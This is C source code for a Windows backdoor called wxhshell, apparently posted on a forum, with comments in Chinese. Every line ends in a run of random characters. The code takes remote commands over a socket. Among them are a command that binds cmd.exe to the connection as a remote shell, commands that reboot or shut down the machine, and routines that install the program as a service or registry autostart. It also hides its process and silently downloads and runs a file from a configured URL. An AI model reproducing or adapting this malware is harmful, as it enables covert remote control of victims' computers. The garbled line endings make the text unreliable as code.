  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S$egsK"~  
  } SB<09|2  
  else { N:yyDeGyW  
9tZ+ ?O5  
    switch(cmd[0]) { ?\J.Tv $$$  
  (qky&}H  
  // 帮助 ;[[GA0  
  case '?': { (9X>E+0E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `;OEdeAM  
    break; _hy<11S;  
  } O:>9yZhV  
  // 安装 x.:k0;%Q  
  case 'i': { R{hq1-  
    if(Install()) |!=KLJUA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ov5 *&*P  
    else -Z/'kYj?U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g12mSbf=9  
    break; ^9zFAY.|  
    } Jjgy;*hM  
  // 卸载 x(UOt;  
  case 'r': { J91O$szA  
    if(Uninstall()) M^$liS.D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w' gKE'c  
    else ;&9A Yh.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *z{.9z`  
    break; ~LKX2Q:S  
    } (H*d">`mz  
  // 显示 wxhshell 所在路径 y,OwO4+y\  
  case 'p': { g\n0v~T+  
    char svExeFile[MAX_PATH]; B&Igm<72x  
    strcpy(svExeFile,"\n\r"); O@gHx!L  
      strcat(svExeFile,ExeFile); \a|bx4M  
        send(wsh,svExeFile,strlen(svExeFile),0); O(Tdn;1  
    break; e[ 8AdE  
    } 6x _tX  
  // 重启 [Tq\K ^!^  
  case 'b': { VIi/=mO]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *P mk1h2  
    if(Boot(REBOOT)) Q:+cLl&;hB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OlV'#D   
    else { ZvS|a~jO  
    closesocket(wsh); " ~X;u8m  
    ExitThread(0); vMQvq9T}  
    } wB0zFlP  
    break; @A-^~LoP.  
    } 2\: z   
  // 关机 PilV5Gg  
  case 'd': { %N, P? ,U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  7z?r x  
    if(Boot(SHUTDOWN)) I}@m6D|\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <f'2dT@6  
    else { xg>AW Q  
    closesocket(wsh); jP-=x(  
    ExitThread(0); ji|`S\u#b  
    } H:DTvv8e{  
    break; mh4`,N  
    } tl:+wp7P`  
  // 获取shell ~D9VjXfL)  
  case 's': { -5Km 9X8  
    CmdShell(wsh); .$k2.-k  
    closesocket(wsh); mR? } gR  
    ExitThread(0); V(Dn!Nz  
    break; >;;tX3(  
  } _cW (R,i  
  // 退出 6.!3g(w   
  case 'x': { H(1( H0Kj"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); t[.wx.y&0  
    CloseIt(wsh); G}lP'9/  
    break; i~k9s  
    } N` DLIv8i;  
  // 离开 eqL~h1^Co  
  case 'q': { N9M''H *VS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #0+`dI_5/  
    closesocket(wsh); PUdJ>U  
    WSACleanup(); NB z3j  
    exit(1); P0En&g+~  
    break; x*9CK8o=  
        } J01Y%W  
  } #e!4njdM  
  } &d`z|Gx9  
wK7wu.  
  // 提示信息 :jFKTG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !"dbK'jb^  
} SQZUkKfb  
  } -%U 15W;  
% 1+\N  
  return; iE|qU_2Y  
} nVTCbV  
sc2nLyn$  
// shell模块句柄 eDm~B (G$  
int CmdShell(SOCKET sock) qX GAlCq@  
{ ::xH C4tw  
STARTUPINFO si; D{](5?$`|  
ZeroMemory(&si,sizeof(si)); f|*vWHSM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g* NKY`,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; buXPeIo^VM  
PROCESS_INFORMATION ProcessInfo; ^Fl6-|^~  
char cmdline[]="cmd"; \qrSJ=}t  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R7L:U+*V"  
  return 0; btfjmR<Tp  
} ohdWEU,  
86^xq#+Uw  
// 自身启动模式 fC2   
int StartFromService(void) \k=.w  
{ 7I6bZ;}d  
typedef struct ,6zH;fi  
{ y=H^U.  
  DWORD ExitStatus; !*0\Yi,6  
  DWORD PebBaseAddress; r 3@Q(Rb  
  DWORD AffinityMask; ~ E) [!y  
  DWORD BasePriority; K8`M~P.  
  ULONG UniqueProcessId; x*~a{M,h  
  ULONG InheritedFromUniqueProcessId; 3sk$B%a>Z  
}   PROCESS_BASIC_INFORMATION; I$Q%i Z{  
(;V=A4F-D  
PROCNTQSIP NtQueryInformationProcess; *ay>MlcV2=  
?,J N?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Dj<]eG]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; iI[Z|"a21  
>@yHa'*9S  
  HANDLE             hProcess; 3&D;V;ON}_  
  PROCESS_BASIC_INFORMATION pbi; &=sVq^d@qe  
IeqJ>t:   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); qNhQ2x\  
  if(NULL == hInst ) return 0; 959i2z  
l_lm)'ag  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FQR{w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >-Qg4%m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^N!l$&=  
*-timVlaE  
  if (!NtQueryInformationProcess) return 0; 74c1i  
D!. r$i)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  W t&tu2  
  if(!hProcess) return 0; BX|+"AeF  
"+REv_:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L%8>deE>;D  
p_$03q>oQ  
  CloseHandle(hProcess); `eIX*R   
:\@WY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f:k3j}&  
if(hProcess==NULL) return 0; w#Y<~W&  
)$/Gh&1G  
HMODULE hMod; 2&E1)^  
char procName[255]; !8"516!d|p  
unsigned long cbNeeded;  H}NW?  
C7(kV{h$d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jy'ge4]3  
H!Y`?Rc  
  CloseHandle(hProcess); *'+OA6  
Gd)@PWK  
if(strstr(procName,"services")) return 1; // 以服务启动 IB x?MU#.  
+igFIoHTM  
  return 0; // 注册表启动 td@F%*  
} R>"E Xq  
X[8m76/V  
// 主模块 E'=~<&  
int StartWxhshell(LPSTR lpCmdLine) @WX]K0 $;  
{ {m9OgR5U  
  SOCKET wsl; &0O1tM*v  
BOOL val=TRUE; 9$,?Grw~  
  int port=0; 1\7SiQ-  
  struct sockaddr_in door; "D7*en  
;p"G<n  
  if(wscfg.ws_autoins) Install(); Z8$@}|jN  
rN)T xH&*p  
port=atoi(lpCmdLine); H#8]Lb@@:  
4A%O`&eZ  
if(port<=0) port=wscfg.ws_port; ,jyNV<dI  
YMG{xGPtM  
  WSADATA data; cO2 .gQo'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]Au78Yom  
f/ 9]o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &oevgG  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8jxgSB",  
  door.sin_family = AF_INET; i=%wZHc;  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .J3lo:  
  door.sin_port = htons(port); S @\Pki+n[  
aWVJx@f  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JBdZ]  
closesocket(wsl); 0@E[IDmp  
return 1; \GeUX <Fl  
} dL>0"UN}-  
b0]y$*{j  
  if(listen(wsl,2) == INVALID_SOCKET) { H~+D2A  
closesocket(wsl); !`vm7FN"u  
return 1; __""!Yz  
} 3ug{1 M3  
  Wxhshell(wsl); TuphCu+Oh  
  WSACleanup(); 4YkH;!M>ji  
{4&G\2<^^  
return 0; 6OMywGI[Z  
pB{QO4q n  
} b/oJ[Vf  
q>w@W:tZ  
// 以NT服务方式启动 #rzq9}9tB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) wH[@#UP3l  
{ :{C#<g`  
DWORD   status = 0; GVZ/`^ndM  
  DWORD   specificError = 0xfffffff; |_a E~_  
KYVB=14  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DY?`Y%"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]j0v.[SX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I ms?^`N  
  serviceStatus.dwWin32ExitCode     = 0; bT>% *  
  serviceStatus.dwServiceSpecificExitCode = 0; 8QDRlF:;<  
  serviceStatus.dwCheckPoint       = 0; ~=P&wBnJ  
  serviceStatus.dwWaitHint       = 0; j& f-yc'i-  
 m2%uGqz  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N(Us9  
  if (hServiceStatusHandle==0) return; 5xP\6Nx6&5  
}:YS$'by  
status = GetLastError(); 4~4PZ  
  if (status!=NO_ERROR) Os9xZ  
{ c+#GX)zh\G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Z=DAA+T`  
    serviceStatus.dwCheckPoint       = 0; 2}1(j  
    serviceStatus.dwWaitHint       = 0; ~.mnxn  
    serviceStatus.dwWin32ExitCode     = status; 5) o-$1s A  
    serviceStatus.dwServiceSpecificExitCode = specificError; :h?"0,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {AqN@i  
    return; B[ooT3V  
  } R>[2}R30  
GDP@M)~6*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WA~|:S+  
  serviceStatus.dwCheckPoint       = 0; bAt%^pc=y  
  serviceStatus.dwWaitHint       = 0; "ji4x y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E=GCq=Uw  
} JAen= %2b  
0)-l9V  
// 处理NT服务事件,比如:启动、停止 Zs e3e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b&~rZ  
{ or\ 2)  
switch(fdwControl) $I~=t{;"XV  
{ Lp20{R  
case SERVICE_CONTROL_STOP: ~R7rIP8Wr  
  serviceStatus.dwWin32ExitCode = 0; Lie\3W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <WtX> \]l(  
  serviceStatus.dwCheckPoint   = 0; 25*/]i u  
  serviceStatus.dwWaitHint     = 0; S #%'Vrp  
  { cC1nC76[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :51Q~5k4  
  } P~iu|j  
  return; PX52a[wNDH  
case SERVICE_CONTROL_PAUSE: +w:[By"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z<K[  
  break; &G5+bUF,  
case SERVICE_CONTROL_CONTINUE: )7c\wAs  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q<P],}?:  
  break; d4/snvq  
case SERVICE_CONTROL_INTERROGATE: yC4JYF]JN  
  break; 3>yb$ZU"-  
}; fyT:I6*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %JBp~"  
} {_|~G|Z  
/"tVOv#  
// 标准应用程序主函数 $}2m%$vJO  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o5mt7/5[i  
{ lyfLkBF  
"T?%4^:g  
// 获取操作系统版本 cIK-VmO  
OsIsNt=GetOsVer(); 7EOn4I2@[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); q0jzng  
W@AZ<(RI:  
  // 从命令行安装 G+ Y`65  
  if(strpbrk(lpCmdLine,"iI")) Install();  :D} xT]  
1[D~Ee p  
  // 下载执行文件 8V`r*:\  
if(wscfg.ws_downexe) { oat*ORL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'g^;_=^G  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9 Bz ~3  
} M' "S:  
p82&X+v/p  
if(!OsIsNt) { X3".  
// 如果时win9x,隐藏进程并且设置为注册表启动 zv||&Hi  
HideProc(); .Gh-T{\V'  
StartWxhshell(lpCmdLine); o~<37J3).  
} @fRB0m"3  
else X8<<;?L  
  if(StartFromService()) iW+ZI6@  
  // 以服务方式启动 ;S"^O AM  
  StartServiceCtrlDispatcher(DispatchTable); \A*#a9"  
else c_x6FoE;L  
  // 普通方式启动 POfvs]  
  StartWxhshell(lpCmdLine); Ti#2D3  
4&!`Yi_1L  
return 0; }I}RqD:`  
}
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只看该作者 1 发表于: 2006-10-10
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